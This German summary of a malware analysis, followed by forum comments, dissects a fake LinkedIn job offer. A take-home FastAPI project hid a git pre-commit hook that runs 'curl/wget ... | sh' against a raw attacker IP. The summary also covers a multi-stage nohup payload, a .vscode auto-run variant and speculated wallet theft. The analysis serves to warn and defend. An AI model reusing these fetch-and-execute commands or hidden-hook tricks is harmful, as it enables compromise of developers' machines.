- Ein falscher Recruiter auf LinkedIn bot eine Remote-Stelle als Python-Entwickler mit 10.000–15.000 US-Dollar Monatsgehalt an und verschickte eine ZIP-Datei, die als normale FastAPI-Aufgabe getarnt war, aber so aufgebaut war, dass im Verlauf der Git-Arbeit Malware installiert wurde
- Im Verzeichnis
.git/hookswar ein pre-commit-Hook versteckt, der unauffällig betriebssystemspezifische Remote-Payloads ausführte; die Git-Aufgaben im PDF dienten dazu, Bewerber zur Ausführung zu verleiten - Die Linux-Payload lud ein Skript der zweiten Stufe nach
~/Documents, startete es mitnohupund installierte danach Node.js, Abhängigkeiten sowie das verschleierteparser.js, das im Hintergrund lief - Wenn man den Wert
id=402in der Anfrage änderte, wurden andere Skripte zurückgegeben; inpackage.jsonwaren unter anderemclipboardyfür den Zugriff auf die Zwischenablage und die Ethereum-Entwicklungsumgebunghardhatenthalten, das endgültige Ziel blieb aber unklar - Die Angreifer fügten einem öffentlichen FastAPI-Repository nur ein bösartiges Verzeichnis hinzu; eine andere Variante führte bereits beim Öffnen des Ordners in VSCode Befehle aus. Vor dem Umgang mit externen Projekten sollten versteckte Verzeichnisse und Auto-Run-Einstellungen geprüft werden
Ein verdächtig gutes Jobangebot
- Ein über LinkedIn eingetroffenes Angebot für eine Python-Entwicklerstelle war als Remote-first-Vertrag mit späterer Festanstellung angelegt und versprach 10.000–15.000 US-Dollar pro Monat
- Noch vor einem Gespräch wurde die hohe Vergütung offen genannt; gemessen an Indien war das eine sehr große Summe und damit das erste Warnsignal
- Das für die Rekrutierung verwendete Unternehmen ließ sich als Y Combinator Startup verifizieren, doch bei einem Unternehmen mit einem solchen Budget blieb der Verdacht, dass es normalerweise ein deutlich strukturierteres Einstellungsverfahren hätte
- Nach dem Versand des Lebenslaufs kam sofort eine Zusage, und über Google Drive wurden ein ZIP-Archiv sowie ein PDF mit Aufgabenanweisungen bereitgestellt
- Das PDF verlangte Verbesserungen an einer bestehenden Codebasis, Architekturvorschläge und Git-Arbeit und wirkte oberflächlich wie ein normales Bewertungsdokument
Im FastAPI-Projekt versteckter Git-Hook
- Das Archiv enthielt ein gewöhnliches FastAPI-Backend mit SQLAlchemy, und auch in
requirements.txtfanden sich weder Typosquatting noch offensichtlich bösartige Pakete - Als zur Prüfung versteckter Dateien
tree -aausgeführt wurde, zeigte sich, dass unter.git/hooksbereits mehrere Git-Hooks vorkonfiguriert waren - Das
pre-commit-Skript erkannte das Betriebssystem mituname -sund lud anschließend plattformspezifische Payloads vom selben Server herunter und führte sie aus- Unter macOS wurde
curl .../task/mac?id=402 | shausgeführt - Unter Linux wurde
wget .../task/linux?id=402 | shausgeführt - Unter Windows wurde
curl .../task/windows?id=402 | cmdausgeführt
- Unter macOS wurde
- Sämtliche Ausgaben wurden nach
/dev/nullumgeleitet und die Prozesse im Hintergrund gestartet, um Ausführungsspuren vor dem Nutzer zu verbergen - Statt eines Domainnamens wurde direkt die rohe IP-Adresse
45.61.164.38:5777verwendet, wodurch das bösartige Verhalten noch auffälliger wirkte
Mehrstufige Payload unter Linux
- Das erste Linux-Skript lud
tokenlinux.nplnach~/Documentsherunter, benannte die Datei intokenlinux.shum und setzte Ausführungsrechte - Anschließend wurde das Skript mit
nohup bashim Hintergrund gestartet, sodass der Prozess auch nach dem Schließen des Terminals oder nach dem Logout weiterlief - Das Skript der zweiten Stufe führte im Hintergrund folgende Schritte aus
- Node.js installieren und den Systempfad konfigurieren
parser.jsundpackage.jsonherunterladen- erforderliche npm-Abhängigkeiten installieren
parser.jsmitnohup nodestarten und die Logs inparser.logschreiben
parser.jswar so stark verschleiert, dass eine manuelle Analyse kaum möglich war; die Originaldatei ist unterparser.jsarchiviert
Möglichkeit einer opferspezifischen Identifizierung
- An den Endpunkt wurde wiederholt der Parameter
id=402übergeben; bei Änderung dieses Werts wurde ein völlig anderes Skript zurückgeliefert - Möglich ist, dass die Angreifer jedem Bewerber eine eindeutige Kennung zuwiesen und angepasste Payloads auslieferten, die tatsächliche Tracking-Methode ließ sich jedoch nicht bestätigen
- Zur Entschleierung wurde der Code in mehrere LLMs eingegeben, aber die Ergebnisse fielen unterschiedlich aus
- Claude verweigerte die Analyse wegen aktivierter Sicherheitsbeschränkungen
- Gemini lieferte ein Analyseergebnis für das Skript
- Eine Suche nach der ursprünglichen Dateiendung
tokenlinux.nplbestätigte einen Zusammenhang mit einer breiter angelegten Angriffskampagne
Verdächtige Node.js-Abhängigkeiten
- Der Projektname in
package.jsonlautetetokendappund enthielthardhat,axios,basic-ftp,clipboardy,jsonwebtoken,ps-node,requestund weitere Pakete - Warum für die Hintergrundkonfiguration
clipboardyfür den Zugriff auf die Zwischenablage und dateisystembezogene Pakete benötigt wurden, blieb unklar hardhatist eine Ethereum-Entwicklungsumgebung, doch da Ethereum vom Proof-of-Work abgewichen ist, lässt sich daraus nicht ohne Weiteres auf eine typische Mining-Konfiguration schließen- Es wurden auch Möglichkeiten geprüft, ob nach Krypto-Wallets gesucht oder mit lokalen Browser-Erweiterungen interagiert werden sollte, doch das endgültige bösartige Ziel wurde nicht bestätigt
Andere Variante mit VSCode
- Eine andere Variante desselben Angriffs versteckte einen
.vscode-Ordner im ZIP-Archiv und war so eingerichtet, dass beim Öffnen dieses Verzeichnisses in VSCode Befehle ausgeführt wurden - Bei dieser Methode konnte bereits das bloße Öffnen des Ordners zur Infektion führen, auch ohne Git-Befehle oder direkte Ausführung des Projektcodes
- Es bestätigte sich, dass kein bestimmtes Unternehmen direkt an dem Angriff beteiligt war; die Angreifer nutzten lediglich den Namen eines gefundenen Unternehmens, um das Jobangebot glaubwürdig erscheinen zu lassen
Tarnung durch Wiederverwendung eines öffentlichen Repositorys
- Im
git logwar unverändert die Commit-Historie bestehender Entwickler zu sehen, nicht die eines von den Angreifern selbst erstellten Projekts - Die Originalquelle war das öffentliche Repository
personal-finance-service - Die Angreifer kopierten das legitime FastAPI-Projekt und fügten nur ein bösartiges verstecktes Verzeichnis hinzu, um es als Aufgaben-Codebasis zu tarnen
- Wer nur den normalen Code und die saubere
requirements.txtprüfte, konnte die bösartige Aktivität leicht übersehen
Untersuchung des Angriffsservers und ihre Grenzen
- Ein Nmap-Scan des Angriffsservers ergab drei offene Ports, von denen zwei nicht auf Versionserkennung reagierten
- Auf Port 22 lief OpenSSH 9.6p1 unter Ubuntu
- Zum Zeitpunkt des Scans war diese Version erst seit gut einer Woche veröffentlicht, sodass keine nutzbare bekannte CVE gefunden wurde und sich die Untersuchung nicht sinnvoll ins Serverinnere ausweiten ließ
- Die Verteilungsmethode der Malware war auffällig, doch die Betriebssicherheit des Servers war vergleichsweise gut aufrechterhalten, weshalb die Nachverfolgung an diesem Punkt endete
Die Rolle der Git-Aufgabe
- Die Git-Aufgaben im PDF dienten dazu, Bewerber mindestens einmal einen Git-Befehl ausführen zu lassen und so den vorinstallierten Hook auszulösen
- Der falsche Recruiter scheint sein LinkedIn-Konto unmittelbar gelöscht zu haben, nachdem er einen Hinweis erhalten hatte, dass der Angriff entdeckt worden war
- Bevor unbekannte Projekte ausgeführt oder Git-Befehle darin verwendet werden, sollten mit Werkzeugen wie
tree -aversteckte Verzeichnisse und Auto-Run-Einstellungen wie.gitund.vscodegeprüft werden
2 Kommentare
Meinungen auf Lobste.rs
Die angegebene IP-Adresse 45.61.164.38 wurde geprüft: Sie wird bei AS14956 von RouterHosting unter Cloudzy gehostet und überschneidet sich nicht mit der sonst gepflegten Sperrliste für Wiki-Spam.
Eine Missbrauchsmeldung könnte hilfreich sein.
Ich war noch nie Ziel einer personalisierten Betrugskampagne und habe nur normalen Spam sowie schlechte, aber echte Jobangebote bekommen, was mich fast ein bisschen enttäuscht.
Nicht einmal Phishing mit mittlerem Aufwand war dabei.
Claudes Sicherheitsmechanismen sind übermäßig nervig.
Tatsächlich böswillige Nutzer haben einen starken Anreiz, sie zu umgehen, während normale Nutzer, die den Inhalt verstehen wollen, viel zu leicht blockiert werden und keinen Grund haben, es immer wieder zu versuchen.
Nach langer Jobsuche habe ich allerlei Absurdes erlebt, etwa Forderungen nach kostenlosen Arbeitsergebnissen oder Versuche, Bewerber zu hacken; dieser Fall wirkt besonders unverhohlen.
Generell lehne ich Take-Home-Aufgaben und die Erstellung kostenloser Arbeitsergebnisse ab und schlage stattdessen vor, ein passendes Portfolio auf GitHub oder einem persönlichen Blog zu zeigen oder die Umsetzung live in einer Pair-Programming-Session zu machen.
Ein Portfolio zeigt Fachgebiet und konkrete Erfahrung, ohne kostenlose Beratung zu liefern, und führt eher zu passenden Chancen; eine Live-Implementierung ähnelt einem klassischen technischen Interview oder einem Gespräch zum Systemdesign.
Wenn beides abgelehnt wird, steige ich aus dem Bewerbungsprozess aus, weil sich damit trotz einiger False Positives deutlich mehr echte Warnsignale herausfiltern lassen.
Ich folge dem Grundsatz: „Wenn der Nachweis meiner Fähigkeiten vor dem Gericht dieser Organisation nicht als Beweis zugelassen wird, möchte ich dort nicht arbeiten.“
Wenn eine Website ohne Erlaubnis automatisch Musik abspielt, ist das extrem störend.
Es dauerte ein paar Sekunden, die Quelle der Störung zu finden, und in Firefox ließ sich der Tab leicht stummschalten, aber das sollte gar nicht erst etwas sein, das Nutzer selbst beheben müssen.
Eine interessante Analyse, aber die Entscheidung, nach dem Fund der Malware in einer dedizierten virtuellen Maschine weiter zu untersuchen, halte ich ebenfalls für einen ziemlich risikofreudigen Ansatz.
Selbst bei erfahrenen Penetration Testern kann ein kurzer Moment der Unachtsamkeit großen Schaden anrichten; ein Maß an Vorsicht, das fast schon an Paranoia grenzt, ist daher praktisch hilfreich.
hardhatkann sich mit einem entfernten Ethereum-RPC verbinden oder einen lokalen simulierten Fork ausführen, der kaum Ressourcen verbraucht.Als mögliche Ziele erscheinen zwei Dinge plausibel: der Diebstahl privater Schlüssel aus ungeschützten Wallets und ein Man-in-the-Middle-Angriff (MITM) auf Hardware-Wallets.
Ersteres ist eine einfache, auch bei Minecraft-Mods verbreitete Methode; wenn der private Schlüssel bereits erlangt wurde, kann der Angriff ohne Nutzerinteraktion erfolgen, sodass
hardhathöchstens nötig ist, um Transaktionen vorab testweise auszuführen.Letzteres nutzt die Struktur aus, dass Browser-Erweiterungen signierte Transaktionen über gehostete RPC-Server verbreiten.
Während Nutzer glauben, auf einer vertrauenswürdigen Website eine normale Transaktion durchzuführen, ersetzt der RPC-Server sie durch eine bösartige Payload; wenn Nutzer signieren, ohne den Inhalt auf der Hardware-Wallet genau zu prüfen, kann der Angreifer sie ausführen.
Hacker-News-Kommentare
Erst nach dem Lesen dieses Beitrags wurde mir klar, dass ich auf eine viel raffiniertere Weise gehackt worden war
Vor ein paar Wochen hatte ich ein Bewerbungsgespräch mit dem CTO eines echten Unternehmens; die Kamera war aus und der Akzent stark, aber das Gespräch wirkte natürlich und die Person kannte sich technisch gut aus. Im technischen Interview hieß es, ich solle das Open-Source-Projekt der Firma anpassen, also das Repository klonen und die Entwicklungsumgebung prüfen
Später sagte die HR-Person, das Gespräch sei wegen einer Erkrankung des CTO verschoben worden, und ein paar Tage danach wurde auch deren LinkedIn-Profil gelöscht. Nachdem ich diesen Beitrag gesehen hatte, prüfte ich es nach und stellte fest, dass das Repository, das ich im Interview geklont und ausgeführt hatte, eine Malware-Payload enthielt
Vermutlich wurde ich zum Ziel, weil ich früher ein NPM-Paket mit über 43 Millionen wöchentlichen Downloads betreut hatte. Ich habe auf allen Konten 2FA aktiviert und NPM-Pakete ohnehin manuell ohne Token veröffentlicht, aber ich muss den Laptop zurücksetzen und alles neu installieren
Ich habe nach ähnlichen HN-Beiträgen gesucht, aber keinen gefunden, in dem die Betrüger sogar bis zu einem Google-Meet-Anruf gingen
Ein seriöses Unternehmen wird das in Betracht ziehen; lehnt es ab, hat man immerhin ein Risiko vermieden. Da heute Code-Generierung mit LLMs breit eingesetzt wird, sollte das meiner Meinung nach mit jedem Tech-Stack möglich sein
In letzter Zeit scheinen Angriffe aus Nordkorea auf Entwickler zuzunehmen. Zusätzlich zu diesen seit Jahren laufenden Methoden bekomme ich etwa einmal pro Woche E-Mails nordkoreanischer Hacker nach dem Muster „Ich habe dein Profil gesehen, hättest du Interesse an einer Zusammenarbeit?“
Auch in Programmier-Discord-Communities gibt es viele Accounts, die innerhalb weniger Tage nach dem Beitritt nach Jobs oder Zusammenarbeit fragen. Es könnten echte Jobsuchende sein, aber die Menge und Ähnlichkeit der Nachrichten ist verdächtig, und wenn sie sogar in Communities wenig genutzter Python-Bibliotheken mit kaum Aktivität auftauchen, wirkt es so, als würden sie Discord-Community-Listen scrapen und wahllos Kontakt aufnehmen
Solche Angriffe, die gegenseitiges Vertrauen ausnutzen, nehmen zu; man braucht also wohl doch wieder das, was Eltern immer sagten: Fremden im Internet nicht vertrauen
Die Methode, erst das Betriebssystem des Opfers zu prüfen und dann heimlich eine Remote-Payload auszuführen, taucht wiederholt auf, und schon letzten Monat war ein ähnlicher Beitrag auf der Startseite
https://news.ycombinator.com/item?id=48546294
Eine rohe IP-Adresse vermittelt stark den Eindruck von Malware, aber ein Opfer, das tief genug hineinschaut, um den Hook-Inhalt zu prüfen, wird dort vermutlich nicht aufhören, misstrauisch zu sein. Die meisten Entwickler würden wohl nicht erwarten, dass
git commitbösartiges Verhalten ausführen kann; ich frage mich, ob das eine Sicherheitslücke in Git istAm Ende bleibt nur, dass Claude als Helfer völlig nutzlos war wegen all der Sicherheitsmechanismen
Die Nutzung einer rohen IP könnte dem Zweck dienen, beim Domain-Registrar keine Identitätsdaten zu hinterlassen oder die Online-Spuren zu minimieren
Die meisten Screenshots ließen sich nicht direkt öffnen, ich musste sie in einem neuen Tab ansehen
Dieser Betrug ist ziemlich raffiniert, sodass vermutlich schon viele Jobsuchende darauf hereingefallen sind, und das im Beitrag gezeigte Visual-Studio-Code-Projekt wirkt noch gefährlicher. Wenn schon das Öffnen eines Projekts User-Code ausführen kann, ist das ein klarer Malware-Pfad und braucht Sicherheitsmaßnahmen
Auch die Reaktion der Recruiting-Plattformen ist unzureichend. Schon wenn man für die Behauptung, zu einem Unternehmen oder einer Institution zu gehören, einen Beschäftigungsnachweis verlangen und bei Nachrichten von nicht verifizierten Accounts eine große Warnung anzeigen würde, wären viele Betrugsversuche deutlich schwerer. Derzeit kann jeder beliebige Berufserfahrung oder Abschlüsse bei beliebigen Firmen angeben
Schön, mal wieder einen Beitrag über echtes Hacking auf der Hacker-News-Startseite zu sehen
http://www.catb.org/jargon/html/H/hacker.html
Gemeint ist eine Person, die die Details und Grenzen programmierbarer Systeme erforscht und insbesondere Freude daran hat, die innere Funktionsweise von Computern und Netzwerken tief zu verstehen. Außerdem bezeichnet es jemanden, der nicht bei der Theorie stehen bleibt, sondern mit Leidenschaft, manchmal geradezu verbissen, programmiert
Wenn LinkedIn es mit Betrugsbekämpfung ernst meint, könnte es beim Eintragen des aktuellen Arbeitgebers eine Verifizierung über die Firmen-E-Mail anbieten. Falls eine Pflicht zu belastend ist, könnte man es wenigstens so machen, dass Recruiter, die ihre Legitimität belegen wollen, dies optional verifizieren können
Vermutlich passiert Ähnliches jetzt wieder, da es auf dem AI-Recruiting-Markt und bei der Nachfrage nach LLMs und Automatisierung viel auszunutzen gibt
Solche Angriffe werden vermutlich immer häufiger. Die Angreifer haben gründlich recherchiert und die Methode ist bösartig, aber ihre technische Ausführung ist durchaus anerkennenswert, und die tatsächliche Erfolgsquote dürfte ziemlich hoch sein